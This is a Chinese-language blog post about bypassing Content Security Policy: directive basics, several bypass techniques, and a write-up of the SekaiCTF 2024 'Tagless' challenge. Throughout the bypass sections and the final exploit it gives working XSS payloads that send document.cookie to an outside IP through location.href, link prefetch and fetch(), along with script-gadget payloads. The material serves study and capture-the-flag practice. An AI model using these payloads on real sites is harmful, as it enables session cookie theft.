CSP绕过
前面了解了一下HttpOnly,后面就没怎么再学习XSS的东西了,这里又遇到了这个,再来学习一下。
CSP简介
内容安全策略(Content Security Policy)是一种用于缓解大部分类型的内容注入攻击的web应用技术,比如xss、数据注入等可实现数据窃取、网站破坏行为的安全问题。该策略可以通过设定规则,来限制浏览器只能加载和指定特定来源的资源,当有从非白名单允许的JS脚本出现在页面中,浏览器会阻止脚本的执行,可以有效减少XSS等攻击的风险。但是同样存在绕过手段。
CSP可以分为如下两种:
通过响应头来设置,浏览器接收到这个头后,会立即执行策略。
- Content-Security-Policy-Report-Only:
同样的通过响应头来设置,这个表示不执行限制选项,只记录未违反限制的行为,并且必须与report-uri
选项配合使用。简单来说,就是可以通过这个HTTP头部来设置规则,同时必须要设置报告的uri,当前端页面的加载违反规则,浏览器只会以JSON格式向URI发送报告,而不会限制。具体可以参考 《Content-Security-Policy-Report-Only》
CSP策略的使用
简单说了一下CSP的分类,那么如何使用呢?可以通过如下两个方式:
——————
(1)常用的策略指令:
- script-src:定义了页面中Javascript的有效来源
- style-src:定义了页面中CSS样式的有效来源
- img-src:定义了页面中图片和图标的有效来源
- font-src:定义了字体加载的有效来源
- connect-src:定义了请求,如XMLHttpRequest(AJAX请求)、WebSocket和EventSource的连接来源。
- child-src:定义了web workers以及嵌套的浏览上下文(如
<frame>
和<iframe>
)的源。
- object-src:限制可以加载哪些插件(例如Flash、XSS等)
- default-src:定义那些没有被更精确指令指定的安全策略,也就是上面说的那些等,但是也有的指令不会被指定,比如base-uri,这个在后面的CSP绕过会说。
(2)内容源的几点说明:
其实就是取值,既然有有了指令,那么肯定要有指令内容,这里简单说几个:
1
2
3
4
5
6
7
8
9
|
* : 星号表示允许任何URL资源,没有限制
'none':表示不匹配任何资源
'self' 同源策略,即允许同域名同端口下,同协议下的请求
'unsafe-inline' 允许使用内联资源,也就是允许<script>等标签和事件监听函数的执行,一般不会使用
'unsafe-eval' 允许不安全的动态代码执行,如js中的eval() Function()等函数
https: 只允许通过https协议加载资源
nonce: 每次HTTP回应给出一个授权token,页面内嵌脚本必须有这个token,才会执行,设置值为:'nonce-12345678' 如下:
<script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(123)</script>
|
等,注意如上的单引号是必须的。其他的指令及内容参考:《CSP》
最后简单看看如何设置,对于响应头,如下即可:
1
|
header("Content-Security-Policy: script-src 'self'");
|
对于前端的<meta>
标签,直接在前端写就行了,一般是在 HTML 文档的 <head>
部分使用 <meta>
标签来定义(并且如果定义在<body>
标签则会被浏览器忽略导致无法实施CSP),比如:
1
|
<meta http-equiv="Content-Security-Policy" content="default-src 'self' http://www.dlrb.com 'unsafe-inline'" >
|
需要注意的是:
简单本地测试代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
<html>
<head>
<script>
// 内联脚本 1:此时 CSP 尚未生效
console.log("内联脚本 1 执行");
</script>
<meta charset="UTF-8">
<meta http-equiv="Content-Security-Policy" content="script-src 'none'">
<script>
// 内联脚本 2:CSP 已生效,执行会被阻止
console.log("内联脚本 2 不会执行");
</script>
</head>
<body>
<!--<meta http-equiv="Content-Security-Policy" content="script-src 'none'">-->
<script>
// 内联脚本 3:CSP 已生效,执行会被阻止
console.log("内联脚本 3 不会执行");
</script>
</body>
</html>
|
可以改改看看前面的说明,完全正确。
CSP绕过
如下是一个简单的留言框+CSP的前端页面,以这个代码来简单谈谈CSP绕过:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
|
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta http-equiv="Content-Security-Policy"
content="default-src 'self';
script-src 'self' 'nonce-2726c7f26c9';
style-src 'self' https://fonts.googleapis.com;
font-src https://fonts.gstatic.com;
img-src 'self' data:;
object-src 'none';
base-uri 'self';
form-action 'self'">
<title>安全留言板</title>
<style nonce="2726c7f26c9">
body {
font-family: 'Roboto', sans-serif;
max-width: 800px;
margin: 0 auto;
padding: 20px;
}
.container {
background-color: #f5f5f5;
padding: 20px;
border-radius: 8px;
}
#messageInput {
width: 70%;
padding: 10px;
margin-right: 10px;
}
button {
padding: 10px 20px;
background-color: #4CAF50;
color: white;
border: none;
border-radius: 4px;
cursor: pointer;
}
.message-item {
background-color: white;
padding: 15px;
margin: 10px 0;
border-radius: 4px;
box-shadow: 0 2px 4px rgba(0,0,0,0.1);
}
</style>
<link href="https://fonts.googleapis.com/css2?family=Roboto&display=swap" rel="stylesheet">
</head>
<body>
<div class="container">
<h1>留言板</h1>
<form id="messageForm">
<input type="text"
id="messageInput"
placeholder="输入你的留言..."
required>
<button type="submit">提交</button>
</form>
<div id="messages"></div>
</div>
<script nonce="2726c7f26c9">
document.getElementById('messageForm').addEventListener('submit', function(e) {
e.preventDefault();
const messageInput = document.getElementById('messageInput');
const message = messageInput.value.trim();
if (message) {
const messageElement = document.createElement('div');
messageElement.className = 'message-item';
messageElement.textContent = message; // 使用textContent而不是innerHTML防止XSS
document.getElementById('messages').appendChild(messageElement);
messageInput.value = '';
}
});
</script>
</body>
</html>
|
简单解析一下:
default-src 'self'
:讲其他没设定的资源设置为同源。
script-src 'self' 'nonce-2726c7f26c9'
:允许同源脚本,并且使用了nonce来允许特定内联脚本。
这里有个需要说明一下,看后面的<style>
等标签,都是设置了内联token的,这里我们可以通过动态的设置这个token,来达到是否执行这个脚本的问题,在这个前端中,是直接通过<meta>
标签来设置的,同样的,动态的话还可以通过HTTP响应头来设置.可以简单改改前面的前端脚本来自己理解一下。
style-src 'self' https://fonts.googleapis.com
:允许同源样式和Google Fonts的样式
font-src https://fonts.gstatic.com
:允许从Google字体服务器加载字体。
img-src 'self' data:
:允许同源图片和data URL图片
object-src 'none'
:禁用所有插件内容
form-action 'self'
:限制表单只能提交到同源地址
注意:如果设置了多个条件,只需要满足其中一个条件就会允许匹配,两个条件是独立的。
这里的js代码也是比较也有点意思,是将留言的内容写入到DOM树的,通过Javascript来动态加载的,直接看ctrl+u是看不到的,可以去搭个前端了解一下。
看了上面的代码,会对CSP的限制会更加清楚,如下说明一下绕过方法。
绕过手段
这里就说说一下比较有意思的点。
可以动态执行任意js脚本
当然是存在CSP限制啦,只不过设置的csp为script-src 'unsafe-inline'
,也就是允许<script>
标签的执行。
这个绕过方法个人感觉其实不常见,都能随便执行js脚本了。
location.href
CSP不影响location.href跳转,直接如下打即可:
1
2
3
|
<script> location.href = "http://47.100.223.173:2333?"+document.cookie ;</script>
<script> location.href = "http://47.100.223.173:2333?"+escape(document.cookie);</script>
|
link标签的利用
老版本的浏览器可用,当时没有被<meta>
标签约束,算是漏掉的,已经被修复了。
硬写如下:
1
|
<link rel="prefetch" href="//47.100.223.173:2333?${cookie}">
|
辩证看待吧,带不出cookie,可能是cookie获取的错误。反正能访问到ip。
通过js代码如下实现:
1
2
3
4
|
<script>var link = document.createElement("link");
link.setAttribute("rel", "prefetch");
link.setAttribute("href", "//47.100.223.173:2333/?" + document.cookie);
document.head.appendChild(link);</script>
|
这样的js代码代码是成功带出来cookie的。
但是限制都比较大,需要可以执行任意JS脚本。
其他绕过方法
使用iframe标签绕过
所有的主流浏览器都支持<iframe>
标签,这个标签的定义就是规定了一个内联框架,也就是它能够将另一个HTML页面嵌入到当前页面中。
也就是说,可以怎么办,如果我们能够控制当前的web服务中的一个页面的内容,而另外一个页面是有我想要的东西的,此时我们就可以尝试在能控制得页面中使用iframe标签来嵌入另一个页面,然后将其打印处理啊,这样就能成功绕过CSP的同源限制得到想要得东西了
一个简单的示例:
以原先的留言板的代码为例:
app.html:
1
2
3
4
5
6
7
8
9
10
11
12
13
|
<head>
<meta charset="UTF-8">
<meta http-equiv="Content-Security-Policy"
content="default-src 'self';
script-src 'self' 'nonce-2726c7f26c9';
style-src 'self' https://fonts.googleapis.com;
font-src https://fonts.gstatic.com;
img-src 'self' data:;
object-src 'none';
base-uri 'self';
form-action 'self'">
</head>
<h1 id="flag">flag{text123}</h1>
|
index.html(可控页面):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
<body>
<script>
var iframe = document.createElement("iframe");
iframe.setAttribute("src", "index.html");
iframe.style.display = "none"; // 隐藏 iframe
document.body.appendChild(iframe);
iframe.onload = function() {
setTimeout(function() {
var flagElement = iframe.contentWindow.document.getElementById("flag");
if (flagElement) {
console.log(flagElement.textContent); // 输出 flag 内容
} else {
console.log("Flag not found");
}
}, 1000);
};
</script>
</body>
|
最后尝试如下,成功在控制台输出:

当然也可以弹窗输出。这里加的setTimeout()函数,是为了让index.html文档加载完。需要注意的是,这里必须要在script标签外面套一个body标签,这样才能成功加载,可能的原因如下:
是因为HTML文档的解析是从上到下执行的,当解析到<script>
标签时,会马上执行其中的代码,其实相当于把script放在<body>
标签前解析,但是注意我们利用代码中的一步:
这里其实是调用到了DOM的一个对象,此时并没有完成初始化,必须要将其放在<body>
标签中,简单给个代码对比一下:
1
2
3
4
5
6
7
8
9
10
11
12
|
<body>
<script>
alert(document.body); // 输出 <body> 元素
</script>
</body>
<head>
<script>
alert(document.body); // 输出 null
</script>
</head>
<body></body>
|
结果如上,简单理解一下就行。
如果可以的话,可以尝试直接写iframe标签的代码,不用再用js代码来构造:
1
|
<iframe src="index.html" title="iframe Example" width="400" height="300"></iframe>
|
这样就直接获取到了内容:

需要注意的是:这里的src可以是一个url。
利用场景:
两个页面,其中一个页面可控,并且存在XSS漏洞,这样可访问存在CSP的页面的内容。
这个标签还有很多技巧,比如它的srcdoc
属性等。可以看下面的例题分享。
对于<iframe>
标签。还有的比较有意思的点可以看看如下文章:
https://blog.huli.tw/2022/04/07/iframe-and-window-open/#iframe-%E7%9A%84-sandbox
CDN绕过
一般前端都会用到许多的前端框架和库,简单来说其实就是有些前端会应用其他CDN上的JS框架,但是如果引用的CDN的框架存在什么自定义的标签或其他定义,可以获取cookie等操作,那么此时我们就可以利用这个CDN来绕过CSP。
但是这个的绕过就一般需要找历史漏洞,或者是挖一个0day出来,简单记录一下:
如果用了Jquery-mobile库,且CSP中包含script-src 'unsafe-eval
或者script-src 'strict-dynamic'
,可以用此exp:
1
|
<div data-role=popup id='<script>alert(1)</script>'></div>
|
blackhat2017有篇ppt总结了可以被用来绕过CSP的一些JS库:
《Breaking XSS mitigations via Script Gadgets》
还有RCTF2018的AMP题出现了这个的利用。主要还是因为AMP自己提供的组件:<amp-pixel>
。可以获取到cookie并向指定的网址发送请求。
简单说说自己的理解,题目docker有点问题,就没有拉起来试试怎么打了:
CSP限制为:
1
|
script-src 'nonce-88f68fa5b7eb8a01de8b8e63b5fb0a6e' 'strict-dynamic'; style-src 'unsafe-inline'
|
可以看到对script进行了限制,然后对style-src进行了限制,但是这里没有对img-src进行限制,然后没有定义default-src,这里个人认为的可能的原因是这个<amp-pixel>
组件是由img-src来定义的:

最后的payload如下:
1
|
<amp-pixel src="https://foo.com/pixel?cid=CLIENT_ID(site-user-id-cookie-fallback-name)"></amp-pixel>
|
其他的说明具体参考如下官方文章说明:
《Analytics: the basics》
——————
可以去看看这道题的wp。
Base-uri绕过
base-uri的绕过,在RCTF2018 rBlog的非预期解,没找到docker,这里就简单讲讲理解。以及wp中的有意思的点。
这里提到了一个base-uri,这是一个控制<base>
标的CSP指令,对于<base>
标签的定义,可以知道的是:
- 为页面上的所有的相对链接规定默认URL或默认目标,也就是说会将比如
<script>
、<a>
等标签里指向的相对URL都会指向<base>
标签中的相对URL。
- 必须位于
<head>
元素内部,一般是靠前的部分。
- 一个文档只有一个
<base>
标签(非常重要,如果不能覆盖掉原有的,那么就不能利用了)
简单解释一下<base>
标签的使用规则:
1
2
3
4
|
<head>
<base href="//vps_ip/">
<script nonce='test' src="app.js"></script>
</head>
|
如上设置,那么<script>
加载js文件时就会去访问 http://vps_ip/app.js
。所以如果想要利用的话,需要在自己的vps上创建一个同名文件,放进js代码即可。
但是本地测试如下发现:
1
2
3
4
5
6
7
8
|
<html>
<head>
</head>
<body>
<base href="//47.100.223.173/">
<script nonce='test' src="app.js"></script>
</body>
</html>
|
这样在<body>
中还是能加载到app.js?辩证看待吧。并且需要注意的是,应该是解析顺序的原因,这里需要要利用的<script>
标签是在<base>
标签下面。
对于base-uri,如下解释文章:
《CSP: base-uri》
里面提到了一个很有意思的点:

default-src,也就是前面提到的,当我们并没有显式地定义一个指令,那么此时就会直接回落这个default-src定义的内容。这个是非常重要的利用点。
除了base-uri,还有其他如form-action、frame-ancestors等指令。
所以这个方法的利用条件:
- 能在
<head>
中插入<base>
标签
- 能执行的
<script>
标签一定至少满足script-src
中的一个条件
- 没有显式设置base-uri
- 页面引用存在相对路径的
<script>
标签
RCTF的CSP限制如下:
1
|
Content-Security-Policy: default-src 'none'; script-src 'nonce-720f7efdee4d8940dc71ef5190d6f266'; frame-src https://www.google.com/recaptcha/; style-src 'self' 'unsafe-inline' fonts.googleapis.com; font-src fonts.gstatic.com; img-src 'self'
|
此时可以用 CSP Evaluator 网站简单检测一下:

可以打base-uri,具体的原理其实就是前面说的,在标题处插入<base>
,然后通过加载js文件来打。
这道题的wp如下文章比较详细:
https://blog.cal1.cn/post/RCTF%202018%20rBlog%20writeup
CRLF绕过
HCTF2018的一道题,当一个页面存在CRLF漏洞时,并且可控点在CSP上方,那么就可以通过换行,将CSP挤到HTTP返回体中,这样来绕过CSP。
这里主要的利用手法是,前面说了的,如果是使用<meta>
标签,需要在<head>
中来定义,并且在<body>
中的CSP设置是会被忽略的。
具体利用就网上搜wp看吧。
题目地址:https://github.com/Lou00/HCTF2018_Bottle,但是有点老了,docker拉不起来,没搭环境复现。
————————
等还有很多绕过方式,这里就不多说了,具体可以看参考文章中的先知社区的文章,还是比较全面的。
例题分享
Tagless
SekaiCTF 2024 的题,题目环境:https://github.com/project-sekai-ctf/sekaictf-2024?tab=readme-ov-file
——————
开题如下:

无标签显示器,尝试往里面插入标签,没有显示。看了一下插入位置,是在<body>
中。给docker源代码,直接开审。感觉是一个XSS。
ap.py文件:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
|
from flask import Flask, render_template, make_response, request
from bot import *
from urllib.parse import urlparse
app = Flask(__name__, static_folder='static')
@app.after_request
def add_security_headers(resp):
resp.headers[
'Content-Security-Policy'] = "script-src 'self'; style-src 'self' https://fonts.googleapis.com https://unpkg.com 'unsafe-inline'; font-src https://fonts.gstatic.com;"
return resp
@app.route('/')
def index():
return render_template('index.html')
@app.route("/report", methods=["POST"])
def report():
bot = Bot()
url = request.form.get('url')
if url:
try:
parsed_url = urlparse(url)
except Exception:
return {"error": "Invalid URL."}, 400
if parsed_url.scheme not in ["http", "https"]:
return {"error": "Invalid scheme."}, 400
if parsed_url.hostname not in ["127.0.0.1", "localhost"]:
return {"error": "Invalid host."}, 401
bot.visit(url)
bot.close()
return {"visited": url}, 200
else:
return {"error": "URL parameter is missing!"}, 400
@app.errorhandler(404)
def page_not_found(error):
path = request.path
return f"{path} not found"
if __name__ == '__main__':
app.run(debug=True)
|
可以看到这里有设置csp限制,先拿去CSP评估网站评估一下:

一个object-src,控制插件的一个指令,但是这里用不了。继续审,在report路由,可以发现是一个让bot来访问的操作。看一下bot.py文件:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
|
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
import time
class Bot:
def __init__(self):
chrome_options = Options()
chrome_options.add_argument("--headless")
chrome_options.add_argument("--disable-gpu")
chrome_options.add_argument("--no-sandbox")
chrome_options.add_argument("--disable-dev-shm-usage")
chrome_options.add_argument("--disable-extensions")
chrome_options.add_argument("--window-size=1920x1080")
self.driver = webdriver.Chrome(options=chrome_options)
def visit(self, url):
self.driver.get("http://127.0.0.1:5000/")
self.driver.add_cookie({
"name": "flag",
"value": "SEKAI{dummy}",
"httponly": False
})
self.driver.get(url)
time.sleep(1)
self.driver.refresh()
print(f"Visited {url}")
def close(self):
self.driver.quit()
|
可以看到在其中的visit()访问时,是带上了flag的,并且将httponly设置为了false,同时需要注意,这里可以看出来是使用的Google引擎。
那么基本思路就是获取cookie,现在就是看怎么进行利用。
看一下前端处理渲染的app.js代码,其中看到了一个过滤函数:
1
2
3
4
|
function sanitizeInput(str) {
str = str.replace(/<.*>/igm, '').replace(/<\.*>/igm, '').replace(/<.*>.*<\/.*>/igm, '');
return str;
}
|
贪婪匹配,替换为空,基本上过滤完了,但是看出来都是匹配的整个<>
标签,这里可以使用<img>
标签来进行引入,让其自动匹配>
(注意这里要看懂app.js的渲染才好懂):

看此时的前端,可以发现应是浏览器自动补足了缺失的</body>
标签:

但是暂时利用不了,继续看。注意看app.py文件中的404处理过程:
1
2
3
4
|
@app.errorhandler(404)
def page_not_found(error):
path = request.path
return f"{path} not found"
|
处理404页面时,会直接在将路径打印在页面上?

确实会,那么在这里就可以插入任意的js标签,比如:

确实解析了,但是并没有执行js解析。此时看到控制台报错:

这个是被CSP限制了,这里才注意到源代码中的CSP的设置是全部路由:
1
2
3
4
5
|
@app.after_request
def add_security_headers(resp):
resp.headers[
'Content-Security-Policy'] = "script-src 'self'; style-src 'self' https://fonts.googleapis.com https://unpkg.com 'unsafe-inline'; font-src https://fonts.gstatic.com;"
return resp
|
前面忘了,以为是只有index才能。
所以需要绕一下这个csp,看了一下别人的wp,这里的绕过方法非常精妙呀,这里利用的是<script>
标签的src属性,当我们指定src后,引入js文件时就会拼接上路径然后访问,比如
1
|
<script src="/1.js"></script>
|
那么引入的文件时发送的请求是http://hostname/1.js
,参考文章:https://blog.csdn.net/festone000/article/details/112030241 。
那么在这里,我们就额可以尝试来构造一下404页面,从而来绕过,但是需要注意的是,有脏数据,比如我们指定访问/alert(1)
文件,那么此时的“文件”内容为:

想要这里的代码正确,需要绕一下。比如前面的/
,我们就可以加一个**/
来构造多行注释的效果,然后后面的就使用//
来单行注释掉即可,最后成功弹窗:

哇,原来src引入的js文件,如果是本地文件,那么同样是拼接到url上去访问获取内容的,有意思有意思。
那么现在就可以尝试获取cookie,无httponly,直接外带:
1
|
<script%20src="/**/fetch(`http://47.100.223.173:2333?cookie=${document.cookie}`)//"></script>
|
本地试了一下,edge、firefox和google都能解析,但是就是打不通只能改payload了:
1
|
<script src="/**/fetch('http://47.100.223.173:2333/'+document.cookie)//"></script>
|
然后传参:

这个就打出来了:

服了,又在这个细节点卡了很久。
display
N1CTF Junior 2025的题,具体看我另一篇文章:
https://fupanc-w1n.github.io/p/n1ctf-junior-2025/#display
参考wp:
https://hackmd.io/@Whale120/HJ_rpvujC
https://siunam321.github.io/ctf/SekaiCTF-2024/Web/Tagless/
https://www.justus.pw/writeups/sekai-ctf/tagless.html
知识点参考文章:
https://www.cnblogs.com/kinyoobi/p/15341248.html
https://juejin.cn/post/7426954121309356042#heading-5
https://xz.aliyun.com/news/4716
https://xz.aliyun.com/news/6968